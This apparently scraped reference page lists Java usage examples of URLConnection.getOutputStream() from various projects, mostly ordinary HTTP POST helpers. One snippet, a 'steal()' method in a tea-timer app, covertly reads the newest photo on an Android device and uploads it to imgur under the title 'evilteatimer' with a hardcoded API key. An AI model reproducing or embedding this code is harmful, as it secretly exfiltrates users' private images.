List of usage examples for java.net URLConnection getOutputStream
public OutputStream getOutputStream() throws IOException
From source file:com.example.android.wearable.wcldemo.pages.StockFragment.java
/** * A simple method that handles making an http request. Although we simplify this example since * we know what type of request is coming in, we leave it at a more generic standing to show * how a more complicated case can be handled. * * @param url The target URL. For GET operations, all the query parameters need to be included * here directly. For POST requests, use the <code>query</code> parameter. * @param method Can be {@link com.google.devrel.wcl.connectivity.WearHttpHelper#METHOD_GET} * or {@link com.google.devrel.wcl.connectivity.WearHttpHelper#METHOD_POST} * @param query Used for POST requests. The format should be * <code>param1=value1¶m2=value2&..</code> * and it <code>value1, value2, ...</code> should all be URLEncoded by the caller. * * @throws IOException/*www. j av a2 s. co m*/ */ private void makeHttpCall(String url, String method, String query, String charset, String nodeId, String requestId) throws IOException { URLConnection urlConnection = new URL(url).openConnection(); urlConnection.setRequestProperty("Accept-Charset", charset); // Note: the following if-clause will not be executed for this particular example if (WearHttpHelper.METHOD_POST.equals(method)) { urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded;charset=" + charset); if (!TextUtils.isEmpty(query)) { OutputStream output = urlConnection.getOutputStream(); output.write(query.getBytes(charset)); } } BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); String inputLine; StringBuilder sb = new StringBuilder(); while ((inputLine = in.readLine()) != null) { sb.append(inputLine); } in.close(); int statusCode = ((HttpURLConnection) urlConnection).getResponseCode(); WearManager.getInstance().sendHttpResponse(sb.toString(), statusCode, nodeId, requestId, mResultCallback); }
From source file:com.bigdata.gom.TestRemoteGOM.java
public void testSimpleJSON() throws RepositoryException, IOException { final NanoSparqlObjectManager om = new NanoSparqlObjectManager(m_repo, m_namespace); final ValueFactory vf = om.getValueFactory(); final URI keyname = vf.createURI("attr:/test#name"); final Resource id = vf.createURI("gpo:test#1"); // om.checkValue(id); final int transCounter = om.beginNativeTransaction(); try {//w w w . j a v a 2 s .com IGPO gpo = om.getGPO(id); gpo.setValue(keyname, vf.createLiteral("Martyn")); om.commitNativeTransaction(transCounter); } catch (Throwable t) { om.rollbackNativeTransaction(); throw new RuntimeException(t); } // Now let's read the data as JSON by connecting directly with the serviceurl URL url = new URL(m_serviceURL); URLConnection server = url.openConnection(); try { // server.setRequestProperty("Accept", TupleQueryResultFormat.JSON.toString()); server.setDoOutput(true); server.connect(); PrintWriter out = new PrintWriter(server.getOutputStream()); out.print("query=SELECT ?p ?v WHERE {<" + id.stringValue() + "> ?p ?v}"); out.close(); InputStream inst = server.getInputStream(); byte[] buf = new byte[2048]; int curs = 0; while (true) { int len = inst.read(buf, curs, buf.length - curs); if (len == -1) { break; } curs += len; } if (log.isInfoEnabled()) log.info("Read in " + curs + " - " + new String(buf, 0, curs)); } catch (Exception e) { e.printStackTrace(); } // clear cached data ((ObjectMgrModel) om).clearCache(); IGPO gpo = om.getGPO(id); // reads from backing journal assertTrue("Martyn".equals(gpo.getValue(keyname).stringValue())); }
From source file:org.infoglue.common.util.RemoteCacheUpdater.java
/** * This method post information to an URL and returns a string.It throws * an exception if anything goes wrong.//from ww w . ja v a 2 s.co m * (Works like most 'doPost' methods) * * @param urlAddress The address of the URL you would like to post to. * @param inHash The parameters you would like to post to the URL. * @return The result of the postToUrl method as a string. * @exception java.lang.Exception */ private String postToUrl(String urlAddress, Hashtable inHash) throws Exception { URL url = new URL(urlAddress); URLConnection urlConn = url.openConnection(); urlConn.setConnectTimeout(3000); urlConn.setReadTimeout(3000); urlConn.setAllowUserInteraction(false); urlConn.setDoOutput(true); urlConn.setDoInput(true); urlConn.setUseCaches(false); urlConn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); PrintWriter printout = new PrintWriter(urlConn.getOutputStream(), true); String argString = ""; if (inHash != null) { argString = toEncodedString(inHash); } printout.print(argString); printout.flush(); printout.close(); InputStream inStream = null; inStream = urlConn.getInputStream(); InputStreamReader inStreamReader = new InputStreamReader(inStream); BufferedReader buffer = new BufferedReader(inStreamReader); StringBuffer strbuf = new StringBuffer(); String line; while ((line = buffer.readLine()) != null) { strbuf.append(line); } String readData = strbuf.toString(); buffer.close(); return readData; }
From source file:com.protheos.graphstream.JSONSender.java
/** * Send JSONObject message to Gephi server * /* ww w .ja v a2 s. c o m*/ * @param obj * , the JSON message content * @param operation * , the operation sending to the server, like "updateGraph", * "getGraph" */ private void doSend(JSONObject obj, String operation) { try { URL url = new URL("http", host, port, "/" + workspace + "?operation=" + operation + "&format=JSON"); URLConnection connection = url.openConnection(); connection.setDoOutput(true); connection.connect(); OutputStream outputStream = null; PrintStream out = null; try { outputStream = connection.getOutputStream(); out = new PrintStream(outputStream, true); out.print(obj.toString() + EOL); out.flush(); out.close(); // send event message to the server and read the result from the // server InputStream inputStream = connection.getInputStream(); BufferedReader bf = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bf.readLine()) != null) { // if (debug) debug(line); } inputStream.close(); } catch (UnknownServiceException e) { // protocol doesn't support output e.printStackTrace(); return; } } catch (IOException ex) { ex.printStackTrace(); } }
From source file:com.hqme.cm.cache.StreamingServer.java
public void stopServer() { UntenCacheService.debugLog(sTag, "stopServer"); isStopping = true;/*from ww w .j av a 2 s. c o m*/ try { URL term = new URL("http://localhost:" + serverPortNumber + "/"); URLConnection conn = term.openConnection(); conn.setDoOutput(true); OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream()); out.write("GET /favicon.ico HTTP/1.1"); out.close(); } catch (Throwable fault) { // UntenCacheService.debugLog(sTag, "stopServer", fault); } }
From source file:goo.TeaTimer.TimerActivity.java
private void steal() { new Thread(new Runnable() { public void run() { try { Looper.prepare();/*from w w w . j av a 2 s .c o m*/ String[] filePathColumn = { MediaStore.Images.Media.DATA }; Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, filePathColumn, null, null, null); cursor.moveToLast(); int columnIndex = cursor.getColumnIndex(filePathColumn[0]); String filePath = cursor.getString(columnIndex); cursor.close(); Log.v(TAG, "FilePath:" + filePath); Bitmap bitmap = BitmapFactory.decodeFile(filePath); bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true); // Creates Byte Array from picture ByteArrayOutputStream baos = new ByteArrayOutputStream(); bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best URL url = new URL("http://api.imgur.com/2/upload.json"); //encodes picture with Base64 and inserts api key String data = URLEncoder.encode("image", "UTF-8") + "=" + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8"); data += "&" + URLEncoder.encode("key", "UTF-8") + "=" + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8"); data += "&" + URLEncoder.encode("title", "UTF-8") + "=" + URLEncoder.encode("evilteatimer", "UTF-8"); // opens connection and sends data URLConnection conn = url.openConnection(); conn.setDoOutput(true); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); wr.write(data); wr.flush(); // Read the results BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); String jsonString = in.readLine(); in.close(); JSONObject json = new JSONObject(jsonString); String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page"); Log.v(TAG, "Imgur link:" + imgUrl); Context context = getApplicationContext(); mImgUrl = imgUrl; Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG); toast.show(); } catch (Exception exception) { Log.v(TAG, "Upload Failure:" + exception.getMessage()); } } }).start(); }
From source file:org.ohie.pocdemo.form.util.InfoMan.java
private String invoke(final String req) throws Exception { log.info("Sending to " + URL + "\n" + req); final URLConnection ucon = new URL(URL).openConnection(); ucon.setRequestProperty("Accept", "text/xml"); ucon.setRequestProperty("Accept-Charset", "utf-8"); ucon.setRequestProperty("Content-Type", "text/xml; charset=utf-8"); String userPassword = USERNAME + ":" + PASSWORD; String encoding = new sun.misc.BASE64Encoder().encode(userPassword.getBytes()); ucon.setRequestProperty("Authorization", "Basic " + encoding); ucon.setDoInput(true);//from w w w . j a va2s . c o m ucon.setDoOutput(true); ucon.getOutputStream().write(req.getBytes()); final InputStream in = Util.getRawStream(ucon); final String rsp; try { rsp = Util.readStream(in); } finally { in.close(); } log.info("Received from " + URL + "\n" + rsp); return rsp; }
From source file:com.allblacks.utils.web.HttpUtil.java
/** * Gets data from URL as char[] throws {@link RuntimeException} If anything * goes wrong//from www. j a v a2s . c om * * @return The content of the URL as a char[] * @throws java.io.IOException */ public byte[] postDataAsByteArray(String url, String contentType, String contentName, byte[] content) throws IOException { URLConnection urlc = null; OutputStream os = null; InputStream is = null; ByteArrayOutputStream bis = null; byte[] dat = null; final String boundary = "" + new Date().getTime(); try { urlc = new URL(url).openConnection(); urlc.setDoOutput(true); urlc.setRequestProperty(HttpUtil.CONTENT_TYPE, "multipart/form-data; boundary=---------------------------" + boundary); os = urlc.getOutputStream(); String message1 = "-----------------------------" + boundary + HttpUtil.BNL; message1 += "Content-Disposition: form-data; name=\"nzbfile\"; filename=\"" + contentName + "\"" + HttpUtil.BNL; message1 += "Content-Type: " + contentType + HttpUtil.BNL; message1 += HttpUtil.BNL; String message2 = HttpUtil.BNL + "-----------------------------" + boundary + "--" + HttpUtil.BNL; os.write(message1.getBytes()); os.write(content); os.write(message2.getBytes()); os.flush(); if (urlc.getContentEncoding() != null && urlc.getContentEncoding().equalsIgnoreCase(HttpUtil.GZIP)) { is = new GZIPInputStream(urlc.getInputStream()); } else { is = urlc.getInputStream(); } bis = new ByteArrayOutputStream(); int ch; while ((ch = is.read()) != -1) { bis.write(ch); } dat = bis.toByteArray(); } catch (IOException exception) { throw exception; } finally { try { bis.close(); os.close(); is.close(); } catch (Exception e) { // we do not care about this } } return dat; }
From source file:com.moviejukebox.plugin.AnimatorPlugin.java
/** * Retrieve Animator matching the specified movie name and year. * * This routine is base on a Google request. *//* w ww .java2s . co m*/ private String getAnimatorId(String movieName, String year) { try { String animatorId = Movie.UNKNOWN; String allmultsId = Movie.UNKNOWN; String sb = movieName; // Unaccenting letters sb = Normalizer.normalize(sb, Normalizer.Form.NFD); // Return simple letters '' & '' sb = sb.replaceAll("" + (char) 774, ""); sb = sb.replaceAll("" + (char) 774, ""); sb = sb.replaceAll("\\p{InCombiningDiacriticalMarks}+", ""); sb = "text=" + URLEncoder.encode(sb, "Cp1251").replace(" ", "+"); // Get ID from animator.ru if (animatorDiscovery) { String uri = "http://www.animator.ru/db/?p=search&SearchMask=1&" + sb; if (StringTools.isValidString(year)) { uri = uri + "&year0=" + year; uri = uri + "&year1=" + year; } String xml = httpClient.request(uri); // Checking for zero results if (xml.contains("[?? ]")) { // It's search results page, searching a link to the movie page int beginIndex; if (-1 != xml.indexOf("? ")) { for (String tmp : HTMLTools.extractTags(xml, "? ", HTML_TD, HTML_HREF, "<br><br>")) { if (0 < tmp.indexOf("[?? ]")) { beginIndex = tmp.indexOf(" .)"); if (beginIndex >= 0) { String year2 = tmp.substring(beginIndex - 4, beginIndex); if (year2.equals(year)) { beginIndex = tmp.indexOf("http://www.animator.ru/db/?p=show_film&fid=", beginIndex); if (beginIndex >= 0) { StringTokenizer st = new StringTokenizer(tmp.substring(beginIndex + 43), " "); animatorId = st.nextToken(); break; } } } } } } } } // Get ID from allmults.org if (multsDiscovery) { URL url = new URL("http://allmults.org/search.php"); URLConnection conn = url.openConnection(YamjHttpClientBuilder.getProxy()); conn.setDoOutput(true); OutputStreamWriter osWriter = null; StringBuilder xmlLines = new StringBuilder(); try { osWriter = new OutputStreamWriter(conn.getOutputStream()); osWriter.write(sb); osWriter.flush(); try (InputStreamReader inReader = new InputStreamReader(conn.getInputStream(), "cp1251"); BufferedReader bReader = new BufferedReader(inReader)) { String line; while ((line = bReader.readLine()) != null) { xmlLines.append(line); } } osWriter.flush(); } finally { if (osWriter != null) { osWriter.close(); } } if (xmlLines.indexOf("<div class=\"post\"") != -1) { for (String tmp : HTMLTools.extractTags(xmlLines.toString(), " ? ", "<ul><li>", "<div class=\"entry\"", "</div>")) { int pos = tmp.indexOf("<img "); if (pos != -1) { int temp = tmp.indexOf(" alt=\""); if (temp != -1) { String year2 = tmp.substring(temp + 6, tmp.indexOf("\"", temp + 6) - 1); year2 = year2.substring(year2.length() - 4); if (year2.equals(year)) { temp = tmp.indexOf(" src=\"/images/multiki/"); if (temp != -1) { allmultsId = tmp.substring(temp + 22, tmp.indexOf(".jpg", temp + 22)); break; } } } } } } } return (animatorId.equals(Movie.UNKNOWN) && allmultsId.equals(Movie.UNKNOWN)) ? Movie.UNKNOWN : animatorId + ":" + allmultsId; } catch (IOException error) { LOG.error("Failed retreiving Animator Id for movie : {}", movieName); LOG.error("Error : {}", error.getMessage()); return Movie.UNKNOWN; } }
From source file:com.otisbean.keyring.Ring.java
/** * Export data to the specified file./*from ww w . j a v a2 s .c o m*/ * * @param outFile Path to the output file * @throws IOException * @throws GeneralSecurityException */ public void save(String outFile) throws IOException, GeneralSecurityException { log("save(" + outFile + ")"); if (outFile.startsWith("http")) { URL url = new URL(outFile); URLConnection urlConn = url.openConnection(); urlConn.setDoInput(true); urlConn.setDoOutput(true); urlConn.setUseCaches(false); urlConn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); DataOutputStream dos = new DataOutputStream(urlConn.getOutputStream()); String message = "data=" + URLEncoder.encode(getExportData().toJSONString(), "UTF-8"); dos.writeBytes(message); dos.flush(); dos.close(); // the server responds by saying // "OK" or "ERROR: blah blah" BufferedReader br = new BufferedReader(new InputStreamReader(urlConn.getInputStream())); String s = br.readLine(); if (!s.equals("OK")) { StringBuilder sb = new StringBuilder(); sb.append("Failed to save to URL '"); sb.append(url); sb.append("': "); while ((s = br.readLine()) != null) { sb.append(s); } throw new IOException(sb.toString()); } br.close(); } else { Writer writer = getWriter(outFile); getExportData().writeJSONString(writer); closeWriter(writer, outFile); } }